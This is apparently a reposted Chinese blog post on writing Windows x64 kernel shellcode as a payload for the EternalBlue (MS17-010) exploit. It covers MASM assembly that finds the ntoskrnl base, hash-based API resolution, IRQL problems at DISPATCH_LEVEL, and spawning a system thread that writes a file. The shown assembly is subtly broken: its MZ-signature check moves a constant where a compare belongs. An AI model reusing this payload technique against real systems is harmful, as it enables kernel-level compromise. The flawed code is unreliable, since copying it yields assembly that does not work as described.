编写Windows Kernel Shellcode

编写Windows Kernel Shellcode
2019-08-02 04:23:40 Author: mp.weixin.qq.com(查看原文) 阅读量:64 收藏

网上流传的永恒之蓝漏洞利用代码中，关于内核shellcode部分，大部分都是利用APC注入的。

最近有个想法，直接利用内核代码执行权限，来写文件，于是就抄起了VS，开始写shellcode，开始以为和R3下面写shellcode一样简单。

新建个驱动的项目，按照下面修改项目的属性，然后动态获取API，再调API完成自己的功能。

项目属性配置好以后，开始写shellcode，计算要使用的内核API的名称hash，为了方便计算，我写了一个简单的MFC程序。

问题一：获取windows7 x64 nt基址

刚开始遇到的第一个问题就是如何获取nt的基址，在内核中所有api都是从ntoskrnl.exe中导出的。

参考这个git项目 https://github.com/worawit/MS17-010.git，里面有内核shellcode的asm文件，文件中有获取nt基址的部分。

但是这个asm文件是NASM的语法，导致我用vs直接编译不了，还需要弄个nasm的编译环境。

最后我修改为MASM版本，最终得到的获取ntoskrnl.exe基址的MASM汇编如下：

.CODE
PUBLIC _getNtBase
_getNtBase PROC
push rbx
mov rax,QWORD PTR gs:[038h]
mov rax,QWORD PTR[rax+04h]
shr rax,0Ch
shl rax,0Ch
_find_nt_walk_page:
mov rbx,QWORD PTR[rax]
mov bx,05A4Dh
je _found
sub rax,1000h
jmp _find_nt_walk_page
_found:
pop rbx
ret
_getNtBase ENDP
END

https://paper.seebug.org/papers/scz/windows/201704171416.txt 这个链接中也有对永恒之蓝获取nt基址的分析。

把以上代码保存为demo.asm，添加到创建的vs驱动项目中，右键该文件，选择属性，修改项类型为： Mircrosoft Macro Assembler。

这段汇编代码，导出了一个名为_getNtBase的函数，在vs项目中使用这个函数，需要用extern声明一下才能使用。

extern HMODULE _getNtBase();

问题二：VS编译64位平台汇编文件

然后开始编译我的vs项目，在编译时，又遇到第二个问题： vs项目中的指定函数编译顺序的FunctionOrder.txt，对这个asm中的函数不起作用。

Address Publics by Value Rva+Base Lib:Object
  0000:00000000 ___safe_se_handler_table 0000000000000000 <absolute>
0000:00000000 __guard_fids_count 0000000000000000 <absolute>
0000:00000000 __guard_flags 0000000000000000 <absolute>
0000:00000000 ___safe_se_handler_count 0000000000000000 <absolute>
0000:00000000 __guard_fids_table 0000000000000000 <absolute>
0001:00000000 Entry 0000000140001000 f main.obj
0001:00000048 EntryPoint 0000000140001048 f main.obj
0001:00000354 Hash_CmpString 0000000140001354 f main.obj
0001:00000378 GetFunAddrByHash 0000000140001378 f main.obj
0001:00000420 Unload 0000000140001420 f main.obj
0001:00000430 DriverEntry 0000000140001430 f main.obj
0001:00000470 _getNtBase 0000000140001470 f demo.obj // <---- here
0001:0000049a __C_specific_handler 000000014000149a f ntoskrnl:ntoskrnl.exe

无论我怎么调整顺序，这个_getNtBase函数永远排在main.obj中所有函数后面，这意味着，我在提取shellcode时，必须把一些main.obj中无用的函数也提取上。

最后我的解决办法也很粗暴，先用masm编译这个demo.asm，拿到二进制机器码，再拼后面直接拼接我的shellcode..

这个demo.asm获取nt基址的代码执行完，结果最终放在rax中。

问题三：IRQL级别

IRQL级别问题，这个也是卡了我时间最久的，我的shellcode思路如下：

1.获取需要的api
 2.初始化需要的字符串
 3.调用IoCreateFile
 4.ZwWriteFile
 5.ZwClose

以上思路用VS写，直接编译成驱动后，安装并运行，测试功能ok！

然后我用IDA提取shellcode，使用windbg强制改RIP，跳转到我shellcode中执行。

参考一位同事写的一篇笔记《内核调试shellcode》：

https://www.cnblogs.com/goabout2/p/7875372.html

强改RIP后，shellcode前面部分执行ok，但是执行IoCreateFile这个函数的时候，就蓝屏。一直中断到内核函数内部。

上面windbg断下后，看起来是rax取到了错误的值导致的，甚至还分析了wrk中IopQueueThreadIrp、IopParseDevice这两个函数。

经过分析，排除是参数的问题，因为前面我写完shellcode，直接编译成驱动文件，安装执行，功能都ok的。

怀疑是IRQL级的问题，使用!irql命令可以查询处理器的IRQL级别，漏洞触发时的IRQL级别为2 = DISPATCH_LEVEL。

而我shellcode中使用的IoCreateFile这个函数所需的IRQL级别为PASSIVE_LEVEL。

为了测试，是不是IRQL造成的，我尝试强制在shellcode调用IoCreateFile前面，添加一个降级的代码，如下所示：


 KIRQL CurrentIRQL = My_KeGetCurrentIrql();
 
 if (CurrentIRQL > PASSIVE_LEVEL)
 {
 My_KeLowerIrql(PASSIVE_LEVEL);
 }
 My_KeGetCurrentIrql();

再次调试分析，并查询降级后的IRQL级别，确认为LOW_LEVEL了，也就是PASSIVE级别。

无奈，运行到IoCreateFile，还是蓝屏了。

分析蓝屏信息，结果还是说我IRQL级别为2，说明我那个修改不生效！

不能主动降IRQL级别，除非这个级别是手动提升的。

经过参考一些资料，如何在DISPATCH_LEVEL运行PASSIVE_LEVEL的代码：

https://community.osr.com/discussion/235732
https://bbs.pediy.com/thread-84588.htm
https://www.oipapio.com/cn/article-6485155
https://blog.csdn.net/liyun123gx/article/details/30500703

经过一番查找资料，大家都是推荐创建一个内核线程来做的，于是我就将shellcode最开始的代码改成了创建内核线程。

VOID Entry()
{
 HMODULE hKeyModule = getNtBase();
 typedef NTSTATUS(*PtrPsCreateSystemThread)(
 _Out_ PHANDLE ThreadHandle,
 _In_ ULONG DesiredAccess,
 _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
 _In_opt_ HANDLE ProcessHandle,
 _Out_opt_ PCLIENT_ID ClientId,
 _In_ PKSTART_ROUTINE StartRoutine,
 _In_opt_ PVOID StartContext
 );
 PtrPsCreateSystemThread My_PsCreateSystemThread = (PtrPsCreateSystemThread)GetFunAddrByHash(HASH_PsCreateSystemThread, hKeyModule);
 HANDLE hThread;
 My_PsCreateSystemThread(&hThread, 0, NULL, NtCurrentProcess(), NULL, (PKSTART_ROUTINE)EntryPoint, hKeyModule);
}